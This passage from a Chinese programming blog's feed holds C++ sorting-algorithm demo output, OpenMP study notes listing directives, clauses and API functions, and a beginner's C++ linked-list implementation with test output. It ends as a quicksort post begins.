<span class="n">cout</span> <span class="o"><<</span> <span class="s">"SelectSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">SelectSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"************************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"InsertSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">InsertSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"***********************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"QuickSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">14</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"***********************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"ShellSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">ShellSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"***********************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"MergeSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">MergeSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">14</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"***********************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"HeapSort: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">initArray</span><span class="p">(</span><span class="n">array</span><span class="p">,</span><span class="n">SIZE</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">HeapSort</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"***********************"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>运行结果如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BubbleSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
SelectSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
InsertSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
QuickSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
ShellSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
MergeSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
HeapSort:
15 82 83 24 45 65 49 12 29 98 66 89 95 39 33
12 15 24 29 33 39 45 49 65 66 82 83 89 95 98
</code></pre></div></div>
OpenMP学习笔记<一>
2014-03-03T00:00:00+00:00
http://fish267.github.io/2014/03/03/openmp-toturial
<p>##并行程序设计思路
并行程序设计和串行的稍微不同, 大概经历下面四个阶段:
<b>划分</b>: 将计算分解成尽可能多的小任务, 可以按处理对象数据进行域分解, 也可以按计算任务进行功能分解. 这两种分解要做到数据集和计算集不相交.
<b>通信</b>: 划分产生的任务, 一般不能完全独立执行, 需要进行数据通信
<b>组合</b>: 根据任务的局部性, 将小任务组合成更大的任务
<b>映射</b>: 将组合后的多个任务分配到多个处理器上, 并期望获得算法的最优性能减少算法的执行时间</p>
<p>#OpenMp 基本概念
OpenMP 属于共享内存编程模型的技术, 通过在源代码中添加指导注释, 成为编译指导: <code> #pragma omp parallel </code></p>
<p>OpenMP 支持的语言包括 C/C++ 和 Fortran, 支持开源编译器 gcc/g++, 下面首先了解OpenMP 的执行模式和三大要素.
<!--more-->
##执行模式
OpenMP 采用 fork-join 的模式, 其中 fork 创建新线程或者唤醒已有的线程, jion 即多线程的会合. 主线程在运行过程中, 需要并行计算的时候, 派生出线程来执行并行任务. 在并行代码执行结束后, 派生线程退出或阻塞, 控制流程回到主线程上.
##编程要素
###1. 编程指导
在 C/C++ 中, OpenMP 的编译指导指令是以 <code> #pragma omp </code> 开头的, 形式如下:</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#pragma omp 指令 [子句 [子句]....]</span></code></pre></figure>
<p>指导指令和子句按照功能大体分为四类:
并行域控制类
任务分担类
同步控制类
数据环境类</p>
<p><strong><em>下面是 OpenMP 规范的指令:</em></strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>parallel* : 用在一个结构块之前,表示这段代码将被多个线程并行执行
for* : 用于for循环语句之前,表示将循环计算任务分配到多个线程中并行执行,以实现任务分担,必须由编程人员自己保证每次循环之间无数据相关性
parallel for* : parallel和for指令的结合,也是用在for循环语句之前,表示for循环体的代码将被多个线程并行执行,它同时具有并行域的产生和任务分担两个功能
sections* : 用在可被并行执行的代码段之前,用于实现多个结构块语句的任务分担,可并行执行的代码段各自用section指令标出
parallel sections* : parallel和sections两个语句的结合,类似于parallel for
single* : 用在并行域内,表示一段只被单个线程执行的代码
critical* : 用在一段代码临界区之前,保证每次只有一个OpenMP线程进入
flush* : 保证各个OpenMP线程的数据影像的一致性
barrier* : 用于并行域内代码的线程同步,线程执行到barrier时要停下等待,直到所有线程都执行到barrier时才能继续往下执行
atomic* : 用于指定一个数据操作需要原子性地完成
master* : 用于指定一段代码由主线程执行
threadprivate* : 用于指定一个或多个变量是线程专用。
</code></pre></div></div>
<p><strong><em>相应的 OpenMP 子句:</em></strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private* : 指定一个或多个变量在每个线程中都有它自己的私有副本
firstprivate* : 指定一个或多个变量在每个线程都有它自己的私有副本,并且私有变量要在进入并行域或认为分担域时,继承主线程中的同名变量的值作为初值
lastprivate* : 是用来指定将线程中的一个或多个私有变量的值在并行处理结束后复制到主线程中的同名变量中,负责拷贝的线程是for或sections任务分担中的最后一个线程
reduction* : 用来指定一个或多个变量是私有的,并且在并行处理结束后这些变量要执行指定的归约运算,并将结果返回给主线程同名变量
nowait* : 指出并发线程可以忽略其他制导指令暗含的路障同步
num_threads* : 指定并行域内的线程的数目
schedule* : 指定for任务分担中的任务分配调度类型
shared* : 指定一个或多个变量为多个线程间的共享变量
copyprivate* : 配合single指令,将指定线程的专有变量广播到并行域内其他线程的同名变量中
copyin* : 用来指定一个threadprivate类型的变量需要用主线程同名变量进行初始化
default* : 用来指定并行域内的变量的使用方式,缺省是shared。 ## API 函数
omp_in_parallel: 判断当前是否在并行域中
omp_get_thread_num: 返回线程号
omp_set_num_threads: 设置后续并行域中的线程个数
omp_get_num_threads: 返回当前并行区域中的线程数
omp_get_max_threads: 获取并行域可用的最大线程数目
omp_get_num_procs: 返回系统中处理器个数
omp_get_dynamic: 判断是否支持动态改变线程数目
omp_set_dynamic: 启用或关闭线程数目的动态改变
omp_get_nested: 判断系统是否支持并行嵌套
omp_set_nested: 启用或关闭并行嵌套
omp_init(_nest)_lock: 初始化一个(嵌套)锁
omp_destroy(_nest)_lock: 销毁一个(嵌套)锁
omp_set(_nest)_lock: (嵌套)加锁操作
omp_unset(_nest)_lock: (嵌套)解锁操作
omp_test(_nest)_lock: 非阻塞的(嵌套)加锁
omp_get_wtime: 获取wall time时间
omp_set_wtime: 设置wall time时间。 ##环境变量 <code>OMP_SCHEDULE</code>: 只能用到 for, parallel for中。它的值就是处理器中循环的次数
</code></pre></div></div>
<p><code>
OMP_NUM_THREADS</code>: 定义执行中最大的线程数</p>
<p><code>
OMP_DYNAMIC</code>: 通过设定变量值TRUE或FALSE, 来确定是否动态设定并行域执行的线程数</p>
<p><code>
OMP_NESTED</code>: 确定是否可以并行嵌套</p>
<p>#END</p>
链表的基本操作
2014-02-27T00:00:00+00:00
http://fish267.github.io/2014/02/27/LinkedList
<p>#单链表
单链表的操作, 包括初始化, 头插入, 尾巴插入, 查询删除节点, 删除链表等等操作.</p>
<p>链表反转没有完成, 程序应该使用类来弄的, 没有实现..CODE 如下:</p>
<!--more-->
<p><br /></p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include <iostream>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">Node_st</span><span class="p">{</span>
<span class="kt">int</span> <span class="n">data</span><span class="p">;</span>
<span class="n">Node_st</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span><span class="n">Node</span><span class="p">;</span>
<span class="c1">//only for the first node </span>
<span class="kt">void</span> <span class="nf">initNode</span><span class="p">(</span><span class="n">Node</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">){</span>
<span class="n">head</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">n</span><span class="p">;</span>
<span class="n">head</span><span class="o">-></span><span class="n">next</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//在结尾添加, 需要遍历到最后一个</span>
<span class="kt">void</span> <span class="nf">addNode</span><span class="p">(</span><span class="n">Node</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">newNode</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Node</span><span class="p">;</span>
<span class="n">newNode</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">n</span><span class="p">;</span>
<span class="n">newNode</span><span class="o">-></span><span class="n">next</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">cur</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">cur</span><span class="o">-></span><span class="n">next</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span>
<span class="n">cur</span><span class="o">-></span><span class="n">next</span> <span class="o">=</span> <span class="n">newNode</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">//insertFront</span>
<span class="kt">void</span> <span class="nf">insertFront</span><span class="p">(</span><span class="n">Node</span> <span class="o">**</span><span class="n">head</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">newNode</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Node</span><span class="p">;</span>
<span class="n">newNode</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">n</span><span class="p">;</span>
<span class="n">newNode</span><span class="o">-></span><span class="n">next</span> <span class="o">=</span> <span class="o">*</span><span class="n">head</span><span class="p">;</span>
<span class="o">*</span><span class="n">head</span> <span class="o">=</span> <span class="n">newNode</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//search</span>
<span class="n">Node</span> <span class="o">*</span><span class="nf">searchNode</span><span class="p">(</span><span class="n">Node</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">cur</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">cur</span><span class="o">-></span><span class="n">data</span> <span class="o">==</span> <span class="n">n</span><span class="p">)</span>
<span class="k">return</span> <span class="n">cur</span><span class="p">;</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"Can not find node "</span> <span class="o"><<</span> <span class="n">n</span> <span class="o"><<</span> <span class="s">" in the list "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//delete</span>
<span class="kt">bool</span> <span class="nf">deleteNode</span><span class="p">(</span><span class="n">Node</span> <span class="o">**</span><span class="n">head</span><span class="p">,</span> <span class="n">Node</span> <span class="o">*</span><span class="n">ptrDel</span><span class="p">){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">cur</span> <span class="o">=</span> <span class="o">*</span><span class="n">head</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">ptrDel</span> <span class="o">==</span> <span class="o">*</span><span class="n">head</span><span class="p">){</span>
<span class="o">*</span><span class="n">head</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="k">delete</span> <span class="n">ptrDel</span><span class="p">;</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span><span class="p">(</span><span class="n">cur</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">cur</span><span class="o">-></span><span class="n">next</span> <span class="o">==</span> <span class="n">ptrDel</span><span class="p">){</span>
<span class="n">cur</span><span class="o">-></span><span class="n">next</span> <span class="o">=</span> <span class="n">ptrDel</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="k">delete</span> <span class="n">ptrDel</span><span class="p">;</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//copy a list</span>
<span class="kt">void</span> <span class="nf">copyList</span><span class="p">(</span><span class="n">Node</span> <span class="o">*</span><span class="n">node</span><span class="p">,</span> <span class="n">Node</span> <span class="o">**</span><span class="n">pNew</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">node</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">){</span>
<span class="o">*</span><span class="n">pNew</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Node</span><span class="p">;</span>
<span class="p">(</span><span class="o">*</span><span class="n">pNew</span><span class="p">)</span><span class="o">-></span><span class="n">data</span> <span class="o">=</span> <span class="n">node</span><span class="o">-></span><span class="n">data</span><span class="p">;</span>
<span class="p">(</span><span class="o">*</span><span class="n">pNew</span><span class="p">)</span><span class="o">-></span><span class="n">next</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">copyList</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">next</span><span class="p">,</span> <span class="o">&</span><span class="p">((</span><span class="o">*</span><span class="n">pNew</span><span class="p">)</span><span class="o">-></span><span class="n">next</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">//比较两个链表是否一样</span>
<span class="kt">bool</span> <span class="nf">compareList</span><span class="p">(</span><span class="n">Node</span> <span class="o">*</span><span class="n">node1</span><span class="p">,</span> <span class="n">Node</span> <span class="o">*</span><span class="n">node2</span><span class="p">){</span>
<span class="kt">bool</span> <span class="n">flag</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">node1</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">&&</span> <span class="n">node2</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
<span class="k">else</span><span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">node1</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">||</span> <span class="n">node2</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">node1</span><span class="o">-></span><span class="n">data</span> <span class="o">!=</span> <span class="n">node2</span><span class="o">-></span><span class="n">data</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">compareList</span><span class="p">(</span><span class="n">node1</span><span class="o">-></span><span class="n">next</span><span class="p">,</span> <span class="n">node2</span><span class="o">-></span><span class="n">next</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">//delete the linklist</span>
<span class="kt">void</span> <span class="nf">deleteList</span><span class="p">(</span><span class="n">Node</span> <span class="o">**</span><span class="n">node</span><span class="p">){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">tempNode</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="o">*</span><span class="n">node</span><span class="p">){</span>
<span class="n">tempNode</span> <span class="o">=</span> <span class="o">*</span><span class="n">node</span><span class="p">;</span>
<span class="o">*</span><span class="n">node</span> <span class="o">=</span> <span class="n">tempNode</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="k">delete</span> <span class="n">tempNode</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="c1">//display</span>
<span class="kt">void</span> <span class="nf">display</span><span class="p">(</span><span class="n">Node</span> <span class="o">*</span><span class="n">head</span><span class="p">){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">list</span> <span class="o">=</span> <span class="n">head</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">list</span><span class="p">){</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">list</span><span class="o">-></span><span class="n">data</span> <span class="o"><<</span> <span class="s">" "</span><span class="p">;</span>
<span class="n">list</span> <span class="o">=</span> <span class="n">list</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//test</span>
<span class="c1">//if __name__ == '__main__'</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">newHead</span><span class="p">;</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">head</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Node</span><span class="p">;</span>
<span class="n">initNode</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="mi">111</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">addNode</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="mi">22</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">addNode</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="mi">333</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">addNode</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="mi">555</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">addNode</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="mi">777</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">insertFront</span><span class="p">(</span><span class="o">&</span><span class="n">head</span><span class="p">,</span> <span class="mi">1024</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">numDel</span> <span class="o">=</span> <span class="mi">22</span><span class="p">;</span>
<span class="n">Node</span> <span class="o">*</span><span class="n">searcNum</span> <span class="o">=</span> <span class="n">searchNode</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="n">numDel</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">deleteNode</span><span class="p">(</span><span class="o">&</span><span class="n">head</span><span class="p">,</span> <span class="n">searcNum</span><span class="p">))</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"Node "</span> <span class="o"><<</span> <span class="n">numDel</span> <span class="o"><<</span> <span class="s">" deleted !"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"the list is copied: "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">copyList</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="o">&</span><span class="n">newHead</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">newHead</span><span class="p">);</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"comparing the two lists"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"Are the two lists the same ? "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">compareList</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="n">newHead</span><span class="p">))</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"yes, they are the same "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"No, not the same."</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">numDel</span> <span class="o">=</span> <span class="mi">333</span><span class="p">;</span>
<span class="n">searcNum</span> <span class="o">=</span> <span class="n">searchNode</span><span class="p">(</span><span class="n">newHead</span><span class="p">,</span> <span class="n">numDel</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">deleteNode</span><span class="p">(</span><span class="o">&</span><span class="n">newHead</span><span class="p">,</span> <span class="n">searcNum</span><span class="p">)){</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">" node "</span> <span class="o"><<</span> <span class="n">numDel</span> <span class="o"><<</span> <span class="s">"is deleted in newHead"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"the newHead after deleted is "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">display</span><span class="p">(</span><span class="n">newHead</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"comparing the two lists"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"Are the two lists the same ? "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">compareList</span><span class="p">(</span><span class="n">head</span><span class="p">,</span> <span class="n">newHead</span><span class="p">))</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"yes, they are the same "</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"No, not the same."</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="n">deleteList</span><span class="p">(</span><span class="o">&</span><span class="n">newHead</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">head</span><span class="p">);</span>
<span class="n">deleteList</span><span class="p">(</span><span class="o">&</span><span class="n">head</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p><b>上面测试运行结果如下:</b></p>
<pre>
111
111 22
111 22 333
111 22 333 555
111 22 333 555 777
1024 111 22 333 555 777
Node 22 deleted !
1024 111 333 555 777
the list is copied:
1024 111 333 555 777
comparing the two lists
Are the two lists the same ?
No, not the same.
node 333is deleted in newHead
the newHead after deleted is
1024 111 555 777
comparing the two lists
Are the two lists the same ?
yes, they are the same
1024 111 333 555 777
[Finished in 0.2s]
</pre>
快速排序递归与非递归实现
2014-02-25T00:00:00+00:00
http://fish267.github.io/2014/02/25/quicksort
<p>在 [多核计算与程序设计 ] (http://book.douban.com/subject/3624015/)一书上, 作者提到, 一般的商业应用中, 不会使用到所有的排序算法. 排序因数据多少, 导致效率差距非常大. 插入排序一般用于数据量较少的情况, 快速排序多少都可以; 归并排序用于数据比较多的情况, 而基数排序就用于数据非常多的情况( 30万以上 ).
<br />
<img src="http://upload.wikimedia.org/wikipedia/commons/6/6a/Sorting_quicksort_anim.gif" alt="" />
<br />
书上只提到了快速排序, 程序如下:
##递归快速排序
<!--more--></p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include<iostream>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="cm">/* Len函数, 获取数组元素个数
*/</span>
<span class="k">template</span><span class="o"><</span><span class="k">class</span> <span class="nc">T</span><span class="p">></span>
<span class="kt">int</span> <span class="nf">Len</span><span class="p">(</span><span class="k">const</span> <span class="n">T</span> <span class="o">&</span><span class="n">Array</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">Array</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">else</span>
<span class="k">return</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Array</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Array</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>
<span class="cm">/* display 函数
@param Type *Array--任意类型数组的首地址
@param int len--数组的元素个数
@void -- 空数组输出None, 非空输出元素
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">T</span> <span class="p">></span>
<span class="kt">void</span> <span class="nf">display</span><span class="p">(</span><span class="k">const</span> <span class="n">T</span> <span class="o">&</span><span class="n">Array</span><span class="p">){</span>
<span class="k">if</span> <span class="p">(</span><span class="n">Len</span><span class="p">(</span><span class="n">Array</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"None"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">else</span><span class="p">{</span>
